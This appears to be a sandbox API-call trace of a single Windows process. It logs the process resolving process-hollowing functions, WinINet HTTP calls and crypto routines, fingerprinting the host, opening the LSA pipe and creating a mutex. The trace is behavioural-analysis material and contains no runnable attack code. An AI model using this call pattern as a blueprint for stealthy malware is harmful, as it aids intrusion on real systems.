09:12:11,024	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CryptCreateHash FunctionAddress => 0x77de9c51 ModuleHandle => 0x77dd0000	SUCCESS	0x00000000
09:12:11,024	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CryptHashData FunctionAddress => 0x77de9a7e ModuleHandle => 0x77dd0000	SUCCESS	0x00000000
09:12:11,024	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CryptVerifySignatureA FunctionAddress => 0x77dfc811 ModuleHandle => 0x77dd0000	SUCCESS	0x00000000
09:12:11,024	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RegDeleteKeyA FunctionAddress => 0x77de4280 ModuleHandle => 0x77dd0000	SUCCESS	0x00000000
09:12:11,024	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RegCreateKeyA FunctionAddress => 0x77dfbcc3 ModuleHandle => 0x77dd0000	SUCCESS	0x00000000
09:12:11,034	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RegSetValueExA FunctionAddress => 0x77ddead7 ModuleHandle => 0x77dd0000	SUCCESS	0x00000000
09:12:11,034	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RegOpenKeyA FunctionAddress => 0x77ddefb8 ModuleHandle => 0x77dd0000	SUCCESS	0x00000000
09:12:11,034	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RegEnumKeyExA FunctionAddress => 0x77de5196 ModuleHandle => 0x77dd0000	SUCCESS	0x00000000
09:12:11,034	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RegEnumValueA FunctionAddress => 0x77df9b8f ModuleHandle => 0x77dd0000	SUCCESS	0x00000000
09:12:11,034	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => GetUserNameA FunctionAddress => 0x77de54a4 ModuleHandle => 0x77dd0000	SUCCESS	0x00000000
09:12:11,034	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => LookupAccountNameA FunctionAddress => 0x77e0d75f ModuleHandle => 0x77dd0000	SUCCESS	0x00000000
09:12:11,034	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RegOpenKeyExA FunctionAddress => 0x77dd7842 ModuleHandle => 0x77dd0000	SUCCESS	0x00000000
09:12:11,034	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RegQueryValueExA FunctionAddress => 0x77dd7aab ModuleHandle => 0x77dd0000	SUCCESS	0x00000000
09:12:11,034	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RegCloseKey FunctionAddress => 0x77dd6c17 ModuleHandle => 0x77dd0000	SUCCESS	0x00000000
09:12:11,034	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CryptAcquireContextA FunctionAddress => 0x77de791d ModuleHandle => 0x77dd0000	SUCCESS	0x00000000
09:12:11,034	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RegDeleteValueA FunctionAddress => 0x77ddecd5 ModuleHandle => 0x77dd0000	SUCCESS	0x00000000
09:12:11,034	972	LdrGetDllHandle	ModuleHandle => 0x7c9c0000 FileName => SHELL32.dll	SUCCESS	0x00000000
09:12:11,034	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => SHGetSpecialFolderPathA FunctionAddress => 0x7cab99f6 ModuleHandle => 0x7c9c0000	SUCCESS	0x00000000
09:12:11,034	972	LdrGetDllHandle	ModuleHandle => 0x774e0000 FileName => ole32.dll	SUCCESS	0x00000000
09:12:11,034	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CoInitialize FunctionAddress => 0x77502a53 ModuleHandle => 0x774e0000	SUCCESS	0x00000000
09:12:11,034	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CoCreateInstance FunctionAddress => 0x7750057e ModuleHandle => 0x774e0000	SUCCESS	0x00000000
09:12:11,034	972	LdrGetDllHandle	ModuleHandle => 0x77120000 FileName => OLEAUT32.dll	SUCCESS	0x00000000
09:12:11,034	972	LdrGetProcedureAddress	Ordinal => 6 FunctionName => FunctionAddress => 0x77124880 ModuleHandle => 0x77120000	SUCCESS	0x00000000
09:12:11,034	972	LdrGetProcedureAddress	Ordinal => 2 FunctionName => FunctionAddress => 0x77124ba2 ModuleHandle => 0x77120000	SUCCESS	0x00000000
09:12:11,034	972	LdrGetDllHandle	ModuleHandle => 0x71ab0000 FileName => WS2_32.dll	SUCCESS	0x00000000
09:12:11,044	972	LdrGetProcedureAddress	Ordinal => 115 FunctionName => FunctionAddress => 0x71ab6a55 ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
09:12:11,044	972	LdrGetProcedureAddress	Ordinal => 116 FunctionName => FunctionAddress => 0x71ab3fed ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
09:12:11,044	972	LdrGetProcedureAddress	Ordinal => 11 FunctionName => FunctionAddress => 0x71ab2ee1 ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
09:12:11,044	972	LdrGetProcedureAddress	Ordinal => 12 FunctionName => FunctionAddress => 0x71ab45c1 ModuleHandle => 0x71ab0000	SUCCESS	0x00000000
09:12:11,044	972	LdrGetDllHandle	ModuleHandle => 0x00000000 FileName => WININET.dll	FAILURE	3221225781	1 time
09:12:11,054	972	LdrLoadDll	Flags => 523952 BaseAddress => 0x771b0000 FileName => WININET.dll	SUCCESS	0x00000000
09:12:11,054	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => InternetCloseHandle FunctionAddress => 0x771c4d8c ModuleHandle => 0x771b0000	SUCCESS	0x00000000
09:12:11,054	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => InternetReadFile FunctionAddress => 0x771c82ea ModuleHandle => 0x771b0000	SUCCESS	0x00000000
09:12:11,054	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => HttpSendRequestA FunctionAddress => 0x771c60a1 ModuleHandle => 0x771b0000	SUCCESS	0x00000000
09:12:11,064	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => HttpOpenRequestA FunctionAddress => 0x771c2af9 ModuleHandle => 0x771b0000	SUCCESS	0x00000000
09:12:11,064	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => InternetConnectA FunctionAddress => 0x771c3452 ModuleHandle => 0x771b0000	SUCCESS	0x00000000
09:12:11,064	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => InternetOpenA FunctionAddress => 0x771c578e ModuleHandle => 0x771b0000	SUCCESS	0x00000000
09:12:11,064	972	LdrGetDllHandle	ModuleHandle => 0x77c10000 FileName => MSVCRT.dll	SUCCESS	0x00000000
09:12:11,064	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => free FunctionAddress => 0x77c2c21b ModuleHandle => 0x77c10000	SUCCESS	0x00000000
09:12:11,064	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => malloc FunctionAddress => 0x77c2c407 ModuleHandle => 0x77c10000	SUCCESS	0x00000000
09:12:11,064	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => memset FunctionAddress => 0x77c475f0 ModuleHandle => 0x77c10000	SUCCESS	0x00000000
09:12:11,064	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => wcstombs FunctionAddress => 0x77c1de16 ModuleHandle => 0x77c10000	SUCCESS	0x00000000
09:12:11,064	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => _wcsicmp FunctionAddress => 0x77c467bd ModuleHandle => 0x77c10000	SUCCESS	0x00000000
09:12:11,064	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => mbstowcs FunctionAddress => 0x77c1d380 ModuleHandle => 0x77c10000	SUCCESS	0x00000000
09:12:11,064	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => memcpy FunctionAddress => 0x77c46f70 ModuleHandle => 0x77c10000	SUCCESS	0x00000000
09:12:11,064	972	LdrGetDllHandle	ModuleHandle => 0x77a80000 FileName => CRYPT32.dll	SUCCESS	0x00000000
09:12:11,064	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CryptImportPublicKeyInfo FunctionAddress => 0x77a92725 ModuleHandle => 0x77a80000	SUCCESS	0x00000000
09:12:11,064	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CryptStringToBinaryA FunctionAddress => 0x77ab452b ModuleHandle => 0x77a80000	SUCCESS	0x00000000
09:12:11,064	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CryptDecodeObjectEx FunctionAddress => 0x77a91fc4 ModuleHandle => 0x77a80000	SUCCESS	0x00000000
09:12:11,064	972	LdrGetDllHandle	ModuleHandle => 0x7c900000 FileName => ntdll.dll	SUCCESS	0x00000000
09:12:11,064	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => _stricmp FunctionAddress => 0x7c912e44 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
09:12:11,064	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => strcat FunctionAddress => 0x7c90249d ModuleHandle => 0x7c900000	SUCCESS	0x00000000
09:12:11,064	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => strlen FunctionAddress => 0x7c902645 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
09:12:11,064	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => strcpy FunctionAddress => 0x7c90248d ModuleHandle => 0x7c900000	SUCCESS	0x00000000
09:12:11,074	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => sprintf FunctionAddress => 0x7c925ba4 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
09:12:11,074	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => sscanf FunctionAddress => 0x7c96febd ModuleHandle => 0x7c900000	SUCCESS	0x00000000
09:12:11,074	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => memset FunctionAddress => 0x7c902435 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
09:12:11,074	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => memcpy FunctionAddress => 0x7c901db3 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
09:12:11,074	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => NtQueryInformationProcess FunctionAddress => 0x7c90d7e0 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
09:12:11,074	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => ZwReadVirtualMemory FunctionAddress => 0x7c90d9e0 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
09:12:11,074	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => ZwMapViewOfSection FunctionAddress => 0x7c90d500 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
09:12:11,074	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => NtCreateSection FunctionAddress => 0x7c90d160 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
09:12:11,074	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => ZwUnmapViewOfSection FunctionAddress => 0x7c90def0 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
09:12:11,074	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => ZwResumeThread FunctionAddress => 0x7c90db20 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
09:12:11,074	972	LdrLoadDll	Flags => 522712 BaseAddress => 0x77fe0000 FileName => Secur32.dll	SUCCESS	0x00000000
09:12:11,074	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => GetUserNameExA FunctionAddress => 0x77fe1dca ModuleHandle => 0x77fe0000	SUCCESS	0x00000000
09:12:11,074	972	NtOpenKey	DesiredAccess => 131097 KeyHandle => 0x000000c8 ObjectAttributes => \Registry\Machine\System\CurrentControlSet\Control\ComputerName	SUCCESS	0x00000000
09:12:11,074	972	NtOpenKey	DesiredAccess => 131097 KeyHandle => 0x000000cc ObjectAttributes => ActiveComputerName	SUCCESS	0x00000000
09:12:11,074	972	NtQueryValueKey	Information => T\x00U\x00R\x00B\x00O\x00P\x00C\x00\x00\x00 KeyHandle => 0x000000cc ValueName => ComputerName Type => 1	SUCCESS	0x00000000
09:12:11,074	972	NtCreateFile	ShareAccess => 3 FileName => PIPE\lsarpc DesiredAccess => 0xc0100080 CreateDisposition => 1 FileHandle => 0x000000d8	SUCCESS	0x00000000
09:12:11,084	972	NtSetInformationFile	FileHandle => 0x000000d8 FileInformation =>	SUCCESS	0x00000000	1 time
09:12:11,084	972	NtWriteFile	Buffer => \x05\x00\x0b\x03\x10\x00\x00\x00H\x00\x00\x00\x01\x00\x00\x00\xb8\x10\xb8\x10\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00xW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xab\x00\x00\x00\x00\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x00\x00 FileHandle => 0x000000d8	SUCCESS	0x00000000
09:12:11,084	972	NtReadFile	Buffer => \x05\x00\x0c\x03\x10\x00\x00\x00D\x00\x00\x00\x01\x00\x00\x00\xb8\x10\xb8\x10\xb1F\x00\x00\x0c\x00\PIPE\lsass\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x00\x00 FileHandle => 0x000000d8	SUCCESS	0x00000000
09:12:11,084	972	NtCreateFile	ShareAccess => 3 FileName => PIPE\lsarpc DesiredAccess => 0xc0100080 CreateDisposition => 1 FileHandle => 0x000000d4	SUCCESS	0x00000000
09:12:11,084	972	NtSetInformationFile	FileHandle => 0x000000d4 FileInformation =>	SUCCESS	0x00000000	1 time
09:12:11,084	972	NtWriteFile	Buffer => \x05\x00\x0b\x03\x10\x00\x00\x00H\x00\x00\x00\x01\x00\x00\x00\xb8\x10\xb8\x10\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00xW4\x124\x12\xcd\xab\xef\x00\x01#Eg\x89\xab\x00\x00\x00\x00\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x00\x00 FileHandle => 0x000000d4	SUCCESS	0x00000000
09:12:11,084	972	NtReadFile	Buffer => \x05\x00\x0c\x03\x10\x00\x00\x00D\x00\x00\x00\x01\x00\x00\x00\xb8\x10\xb8\x10\xb2F\x00\x00\x0c\x00\PIPE\lsass\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x04]\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00+\x10H`\x02\x00\x00\x00 FileHandle => 0x000000d4	SUCCESS	0x00000000
09:12:11,094	972	RegOpenKeyExA	Handle => 0x000000d4 Registry => 0x80000002 SubKey => Software\Microsoft\Windows NT\CurrentVersion	SUCCESS	0x00000000
09:12:11,094	972	RegQueryValueExA	Handle => 0x000000d4 Data => 1339640837 ValueName => InstallDate	SUCCESS	0x00000000
09:12:11,094	972	RegCloseKey	Handle => 0x000000d4	SUCCESS	0x00000000
09:12:11,094	972	LdrLoadDll	Flags => 522776 BaseAddress => 0x77dd0000 FileName => advapi32.dll	SUCCESS	0x00000000
09:12:11,094	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => MD5Init FunctionAddress => 0x77de7058 ModuleHandle => 0x77dd0000	SUCCESS	0x00000000
09:12:11,094	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => MD5Update FunctionAddress => 0x77de7132 ModuleHandle => 0x77dd0000	SUCCESS	0x00000000
09:12:11,094	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => MD5Final FunctionAddress => 0x77de7092 ModuleHandle => 0x77dd0000	SUCCESS	0x00000000
09:12:11,094	972	NtCreateMutant	Handle => 0x000000d4 InitialOwner => 0 MutexName => 2GVWNQJz1	SUCCESS	0x00000000
09:12:11,094	972	RegOpenKeyExA	Handle => 0x000000d8 Registry => 0x80000002 SubKey => SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Base Cryptographic Provider v1.0	SUCCESS	0x00000000
09:12:11,094	972	RegQueryValueExA	Handle => 0x000000d8 Data => 1 ValueName => Type	SUCCESS	0x00000000
09:12:11,094	972	RegQueryValueExA	Handle => 0x000000d8 DataLength => 11 ValueName => Image Path Type => 1	SUCCESS	0x00000000
09:12:11,094	972	RegQueryValueExA	Handle => 0x000000d8 Data => rsaenh.dll\x00 ValueName => Image Path	SUCCESS	0x00000000
09:12:11,094	972	LdrGetDllHandle	ModuleHandle => 0x00000000 FileName => rsaenh.dll	FAILURE	3221225781	1 time
09:12:11,094	972	NtOpenKey	DesiredAccess => 1 KeyHandle => 0x000000dc ObjectAttributes => \Registry\MACHINE\System\CurrentControlSet\Control\Session Manager	SUCCESS	0x00000000
09:12:11,094	972	NtQueryValueKey	KeyHandle => 0x000000dc ValueName => SafeProcessSearchMode	FAILURE	3221225524
09:12:11,094	972	NtCreateFile	ShareAccess => 1 FileName => C:\WINDOWS\system32\rsaenh.dll DesiredAccess => 0x80100080 CreateDisposition => 1 FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,094	972	NtQueryInformationFile	FileHandle => 0x000000dc FileInformation => \x000\x03\x00\x00\x00\x00\x00\x00.\x03\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000
09:12:11,094	972	NtCreateSection	ObjectAttributes => DesiredAccess => 0x000f0005 SectionHandle => 0x000000e0 FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,094	972	ZwMapViewOfSection	SectionOffset => 0x0007f6a4 SectionHandle => 0x000000e0 ProcessHandle => 0xffffffff BaseAddress => 0x00100000	SUCCESS	0x00000000
09:12:11,104	972	NtCreateFile	ShareAccess => 1 FileName => C:\WINDOWS\system32\rsaenh.dll DesiredAccess => 0x80100080 CreateDisposition => 1 FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,104	972	NtCreateSection	ObjectAttributes => DesiredAccess => 0x000f0005 SectionHandle => 0x000000e0 FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,104	972	ZwMapViewOfSection	SectionOffset => 0x0007f708 SectionHandle => 0x000000e0 ProcessHandle => 0xffffffff BaseAddress => 0x00100000	SUCCESS	0x00000000
09:12:11,104	972	NtReadFile	Buffer => MZ\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf8\x00\x00\x00\x0e\x1f\xba\x0e\x00\xb4 \xcd!\xb8\x01L\xcd!This program cannot be run in DOS mode. $\x00\x00\x00\x00\x00\x00\x00\x14_\xd9\x13P>\xb7@P>\xb7@P>\xb7@w\xf8\xda@H>\xb7@\x931\xb8@Y>\xb7@P>\xb6@\xc5>\xb7@\x931\xea@[>\xb7@\x931\xeb@Q>\xb7@\x931\xe9@Q>\xb7@\x931\xd7@Q>\xb7@\x931\xe8@\x7f>\xb7@\x931\xed@Q>\xb7@RichP>\xb7@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00PE\x00\x00L\x01\x04\x00 FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,104	972	NtQueryInformationFile	FileHandle => 0x000000dc FileInformation => P\x01\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000
09:12:11,104	972	NtSetInformationFile	FileHandle => 0x000000dc FileInformation =>	SUCCESS	0x00000000
09:12:11,104	972	NtReadFile	Buffer => \x03\x00\x00\x00\x00\x00\x04\x00\x00\x10\x00\x00\x00\x00\x10\x00\x00\x10\x00\x00\x00\x00\x00\x00\x10\x00\x00\x000\xea\x02\x00\xbb\x02\x00\x00\xc4\xdd\x02\x00x\x00\x00\x00\x000\x03\x00P\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x03\x00\xc8\x10\x00\x00@\x12\x00\x00\x1c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10e\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x008\x02\x00\x00\xbc\xdb\x02\x00\xe0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.text\x00\x00\x00\xeb\xdc\x02\x00\x00\x10\x00\x00\x00\xde\x02\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00`.data\x00\x00\x00 0\x00\x00\x00\xf0\x02\x00\x00*\x00\x00\x00\xe2\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00\xc0.rsrc\x00\x00\x00P\x0c\x00\x00\x000\x03\x00\x00\x0e\x00\x00 FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,104	972	NtReadFile	Buffer => \x00\x04\x00\x08\x00\x00\x00\x08\x00\x04\x01\x00 \x04\x01\x08\x00\x00\x00\x00 \x04\x01\x00\x00\x00\x00\x08\x00\x04\x00\x00 \x00\x01\x00 \x04\x00\x08\x00\x04\x00\x00\x00\x00\x00\x00 \x04\x01\x08 \x00\x01\x08\x00\x04\x01\x08 \x04\x00\x00\x00\x00\x01\x00\x00\x04\x01\x00 \x00\x01\x08\x00\x04\x00\x08 \x04\x00\x00 \x00\x00\x00 \x04\x01\x00\x00\x00\x01\x08 \x00\x00\x08@\x00\x00\x80@\x00 \x00\x00\x00\x00\x00\x00 \x80@\x00 \x00\x00 \x00\x00@ \x00\x80\x00\x00 \x00@ \x00\x00@ \x80\x00 \x00\x00\x00\x00\x80\x00 \x00\x80@\x00\x00\x80\x00\x00 \x80@ \x00\x00\x00 \x00@ \x00\x80@\x00 \x80\x00\x00\x00\x00\x00 \x00\x00@\x00\x00\x00\x00 \x80@\x00 \x80@ \x80\x00\x00 \x80\x00\x00\x00\x80@ \x00\x00@\x00\x00\x00\x00 \x00@ \x00\x00 \x00\x80@ \x00\x00\x00\x00\x00\x80\x00 \x00\x80@ \x00\x00 \x80@\x00 \x00\x00\x00\x00\x00 FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,104	972	NtReadFile	Buffer => '\x9e\x9e\xb9\xd9\xe1\xe18\xeb\xf8\xf8\x13+\x98\x98\xb3"\x11\x113\xd2ii\xbb\xa9\xd9\xd9p\x07\x8e\x8e\x893\x94\x94\xa7-\x9b\x9b\xb6<\x1e\x1e"\x15\x87\x87\x92\xc9\xe9\xe9 \x87\xce\xceI\xaaUU\xffP((x\xa5\xdf\xdfz\x03\x8c\x8c\x8fY\xa1\xa1\xf8 \x89\x89\x80\x1a \x17e\xbf\xbf\xda\xd7\xe6\xe61\x84BB\xc6\xd0hh\xb8\x82AA\xc3)\x99\x99\xb0Z--w\x1e\x0f\x0f\x11{\xb0\xb0\xcb\xa8TT\xfcm\xbb\xbb\xd6,\x16\x16:\xa5\xc6cc\x84\xf8||\x99\xeeww\x8d\xf6{{ \xff\xf2\xf2\xbd\xd6kk\xb1\xdeooT\x91\xc5\xc5P`00\x03\x02\x01\x01\xa9\xcegg}V++\x19\xe7\xfe\xfeb\xb5\xd7\xd7\xe6M\xab\xab\x9a\xecvvE\x8f\xca\xca\x9d\x1f\x82\x82@\x89\xc9\xc9\x87\xfa}}\x15\xef\xfa\xfa\xeb\xb2YY\xc9\x8eGG\x0b\xfb\xf0\xf0\xecA\xad\xadg\xb3\xd4\xd4\xfd_\xa2\xa2\xeaE\xaf\xaf\xbf#\x9c\x9c\xf7S\xa4\xa4\x96\xe4rr FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,104	972	NtReadFile	Buffer => m\xd6G\x13\x9a\xd7a\x8c7\xa1\x0czY\xf8\x14\x8e\xeb\x13<\x89\xce\xa9'\xee\xb7a\xc95\xe1\x1c\xe5\xedzG\xb1<\x9c\xd2\xdfYU\xf2s?\x18\x14\xceys\xc77\xbfS\xf7\xcd\xea_\xfd\xaa[\xdf=o\x14xD\xdb\x86\xca\xaf\xf3\x81\xb9h\xc4>8$4,\xc2\xa3@_\x16\x1d\xc3r\xbc\xe2%\x0c(<I\x8b\xff \x95A9\xa8\x01q\x08\x0c\xb3\xde\xd8\xb4\xe4\x9cdV\xc1\x90{\xcb\x84a\xd52\xb6pHl\t\xd0\xb8WBPQ\xf4\xa7S~Ae\xc3\x1a\x17\xa4\x96:'^\xcb;\xabk\xf1\x1f\x9dE\xab\xac\xfaX\x93K\xe3\x03U 0\xfa\xf6\xadvm\x91\x88\xccv%\xf5\x02L\xfcO\xe5\xd7\xd7\xc5*\xcb\x80&5D\x8f\xb5b\xa3I\xde\xb1Zg%\xba\x1b\x98E\xea\x0e\xe1]\xfe\xc0\x02\xc3/u\x12\x81L\xf0\xa3\x8dF\x97\xc6k\xd3\xf9\xe7\x03\x8f_\x95\x15\x92\x9c\xeb\xbfmz\xda\x95RY-\xd4\xbe\x83\xd3Xt!)I\xe0i FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,114	972	NtReadFile	Buffer => \xfb\x0bA.\x9a\xd7a\x8c\x94\xdel\x87\x86\xc5{\x9a\x88\xccv\x91\xa2\xf3U\xa0\xac\xfaX\xab\xbe\xe1O\xb6\xb0\xe8B\xbd\xea\x9f \xd4\xe4\x96\x04\xdf\xf6\x8d\x13\xc2\xf8\x84\x1e\xc9\xd2\xbb=\xf8\xdc\xb20\xf3\xce\xa9'\xee\xc0\xa0*\xe5zG\xb1<tN\xbc7fU\xab*h\\xa6!Bc\x85\x10Lj\x88\x1b^q\x9f\x06Px\x92 \x0f\xd9d\x04\x06\xd4o\x16\x1d\xc3r\x18\x14\xcey2+\xedH<"\xe0C.9\xf7^ 0\xfaU\xec\x9a\xb7\x01\xe2\x93\xba \xf0\x88\xad\x17\xfe\x81\xa0\x1c\xd4\xbe\x83-\xda\xb7\x8e&\xc8\xac\x99;\xc6\xa5\x940\x9c\xd2\xdfY\x92\xdb\xd2R\x80\xc0\xc5O\x8e\xc9\xc8D\xa4\xf6\xebu\xaa\xff\xe6~\xb8\xe4\xf1c\xb6\xed\xfch\x0c g\xb1\x02\x03j\xba\x10\x18}\xa7\x1e\x11p\xac4.S\x9d:'^\x96(<I\x8b&5D\x80|B\x0f\xe9rK\x02\xe2`P\x15\xffnY\x18\xf4Df;\xc5Jo6\xceXt!\xd3 FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,114	972	NtReadFile	Buffer => \xce>'\xca\x07\xc2\xc0!\xc7\xb8\x86\xd1\x1e\xeb\xe0\xcd\xd6}\xda\xeax\xd1n\xee\x7fO}\xf5\xbao\x17r\xaag\xf0\x06\xa6\x98\xc8\xa2\xc5}c \xae \xf9\xbe\x04\x98?\x11\x1bG\x1c\x135\x0bq\x1b\x84}\x04#\xf5w\xdb(\x93$\xc7@{\xab\xca2\xbc\xbe\xc9\x15 \xbe\x9e<L \x10\x9c\xc4g\x1dC\xb6B>\xcb\xbe\xd4\xc5L*~e\xfc\x9c)\x7fY\xec\xfa\xd6:\xabo\xcb_\x17XGJ\x8c\x19Dl\x98/\x8aB\x91D7q\xcf\xfb\xc0\xb5\xa5\xdb\xb5\xe9[\xc2V9\xf1\x11\xf1Y\xa4\x82?\x92\xd5^\x1c\xab\x98\xaa\x07\xd8\x01[\x83\x12\xbe\x851$\xc3}\x0cUt]\xber\xfe\xb1\xde\x80\xa7\x06\xdc\x9bt\xf1\x9b\xc1\xc1i\x9b\xe4\x86G\xbe\xef\xc6\x9d\xc1\x0f\xcc\xa1\x0c$o,\xe9-\xaa\x84tJ\xdc\xa9\xb0\\xda\x88\xf9vRQ>\x98m\xc61\xa8\xc8'\x03\xb0\xc7\x7fY\xbf\xf3\x0b\xe0\xc6G\x91\xa7\xd5Qc\xca\x06g))\x14\x85 \xb7' FileHandle => 0x000000dc	SUCCESS	0x00000000
09:12:11,114	972	NtReadFile	Buffer => \x00\x00\x00\xffu\x18\xffu\x14\xffu\x10\xffvxVh\x90\x98\x01h\xe8\xcb\xf9\xff\xff\x85\xc0\x0f\x85\xc0\x00\x00\x009E\x10\x0f\x84\xb5\x00\x00\x00\x8bE\x0c\x85\xc0\x0f\x84\xaa\x00\x00\x00\x81x\x04\x05\x80\x00\x00\x0f\x85\x9d\x00\x00\x00\x83~`\x01\x0f\x85\x93\x00\x00\x00\x8bNxW\x8bx\x10\x8b\xd1\x83\xc7\x04\xc1\xe9\x02\x83\xc6,\xf3\xa5\x8b\xca\x83\xe1\x03\xf3\xa4_\xebq\xb8\x08\x00 \x80\xebp\xffu\x18\xffu\x14\xffu\x10j\x08Vh\xa0t\x01h\xeb$\xffu\x18\xffu\x14\xffu\x10j\x08Vh\xd0f\x01h\xeb\x11\xffu\x18\xffu\x14\xffu\x10j\x08Vh V\x01h\xe87\xf9\xff\xff\x85\xc0u09E\x10t)\x8bE\x0c\x85\xc0t"\x81x\x04\x05\x80\x00\x00u\x19\x83~`\x01u\x13\x8bV,\x8bH\x10\x89Q\x04\x8bV0\x89Q\x08\x83H4\x013\xc0^]\xc2\x14\x00\xcc\xcc\xcc\xcc\xcc\x8b\xffU\x8b\xec\x83\xec\x14V3\xf6\xf7E\x18\xbf\xff\xff\xff\x89u FileHandle => 0x000000dc	SUCCESS	0x00000000
